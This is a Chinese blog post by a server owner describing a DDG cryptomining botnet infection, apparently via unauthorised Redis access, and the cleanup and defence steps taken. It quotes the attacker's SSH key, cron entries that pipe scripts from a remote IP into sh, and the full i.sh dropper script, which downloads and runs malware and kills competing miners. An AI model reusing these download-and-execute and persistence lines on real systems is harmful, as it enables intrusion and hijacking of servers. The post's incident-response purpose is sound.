系统运维

01-DDG-挖矿僵尸网络攻击

2018-11-10  本文已影响0人  四冶读史

1.概述

接到阿里客户的通知,说我购买的一个主机CPU一直处于满负荷状态,问我是否在对服务器做操作或者存在用户大量请求服务,奇怪!这些都没有,赶紧登陆服务器查看,果然。

PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23644 root      20   0   75716  12732    232 S 394.4  0.1   9556:10 qW3xT.1  

一个名为qW3xT.1的进程占用了接近400%的CPU资源。一查,原来是DDG挖矿僵尸网络攻击。

2.DDG是什么

DDG挖矿僵尸网络(DDG Mining Botnet)是通过肉鸡(沦陷主机)挖取门罗币(XMR,Monero Crypto Currency)的僵尸网络。

3.DDG是如何攻陷主机的

DDG正是通过Redis漏洞和SSH攻陷主机的,本次受到的攻击应该就是利用了Redis未授权访问的缺陷。

4.DDG如何利用肉鸡挖去门罗币的

DDG挖矿流程图。


DDG挖矿流程图

1)DDG攻陷主机后,将一个ssh pub key写入~/.ssh/authorized_keys文件,或者账户根目录下的 ~/.ssh/authorized_keys,但Redis大多都是root启动的,故而可以在/root/.ssh/authorized_keys查看,果然。

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost  

多个一个pub key。

2)攻陷主机后,然后开始注入病毒程序。
首先,在/var/spool/cron/目录下写入定时任务。此时可以发现该目录下多了2个文件root和crontabs/root,内容是:

*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh

定时下载i.sh并执行。
i.sh的具体内容如下:

$ export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ! -f "/tmp/ddgs.3011" ]; then
    curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

i.sh脚本就是下载ddgs.*病毒程序,然后执行。

3)ddgs.样本中内置了一个IP:PORT列表,然后依次连接IP:PORT列表,检查是否可以访问。对每个成功握手的IP:PORT,ddgs.都会尝试向

http://<C2:8000>/slave发送HTTP POST请求。如果C2正常工作,则会返回一串用msgPack序列化编码后的配置文件数据。

4)获取配置文件后,会根据配置文件中的Miner信息去下载qW3xT.1到当前失陷主机的/tmp/目录。qW3xT.1文件是XMRig编辑的矿机程序。

5.如何处理

1)删掉~/.ssh/authorized_keys里的ssh pub key;

2)停掉cron任务进程;

$ systemctl stop cron

3)删掉cron任务;

$ rm -rf /var/spool/cron/root
$ rm -rf /var/spool/cron/crontabs/root

4)杀掉ddgs.*和qW3xT.1进程;

$ kill -9 PID

5)删掉ddgs.*和qW3xT.1文件;

$ rm -rf /tmp/ddgs.*
$ rm -rf /tmp/qW3xT.1

此时再top查看下,发现CPU使用降下来了。

5.如何防护

鉴于是通过Redis进行攻陷的,故而防护可以针对Redis来操作:

参考地址:
https://www.secpulse.com/archives/71983.html
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">Redis未授权访问的缺陷:http://blog.jobbole.com/94518/
DDG挖矿处理:https://www.cnblogs.com/whatmiss/p/7447196.html
DDG挖矿防护:https://blog.csdn.net/tjcyjd/article/details/54140321

上一篇 下一篇

猜你喜欢

热点阅读